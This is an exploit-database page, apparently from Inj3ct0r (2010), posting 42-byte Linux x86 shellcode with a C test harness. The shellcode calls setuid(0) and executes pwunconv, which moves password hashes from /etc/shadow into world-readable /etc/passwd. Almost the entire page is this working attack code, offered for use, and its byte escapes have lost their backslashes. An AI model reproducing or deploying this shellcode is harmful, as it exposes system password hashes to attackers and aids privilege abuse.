linux/x86 setuid(0) && execve(/usr/sbin/pwunconv,0,0
Posted on 15 August 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>linux/x86 setuid(0) && execve(/usr/sbin/pwunconv,0,0) 42 bytes</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>======================================================================== linux/x86 setuid(0) && execve(/usr/sbin/pwunconv,0,0) shellcode 42 bytes ======================================================================== #Special Thanks Inj3ct0r Exploit DataBase #I Love Inj3ct0r.Com #include <stdio.h> const char sc[]= "x31xdb" //xor ebx,ebx "x8dx43x17" //LEA eax,[ebx + 0x17] /LEA is FASTER than push and pop! "x99" //cdq "xcdx80" //int 80 //setuid(0) shouldn't returns -1 right? ;) "xb0x0b" //mov al,0bh "x52" //push edx /Termina la cadena con un 0 "x68x63x6fx6ex76" //push dword "conv" "x68x70x77x75x6e" //push dword "pwun" "x68x62x69x6ex2f" //push dword "bin/" "x68x73x72x2fx73" //push dword "sr/s" "x68x2fx2fx2fx75" //push dword "///u" "x89xe3" //mov ebx,esp "x89xd1" //mov ecx,edx "xcdx80"; //int 80h void main() { printf(" ~ This shellcode disables shadowing on a linux system ~" " ~ Coded by vlan7 ~" " ~ http://www.vlan7.org ~" " ~ Date: 4/Jul/2009" " You'll have the passwords stored in /etc/passwd." " For undo purposes use the pwconv command." " ~ Cheers go to: Wadalbertia" " ~ Shellcode Size: %d bytes ", sizeof(sc)-1); (*(void (*)()) sc)(); } # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-08-15]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>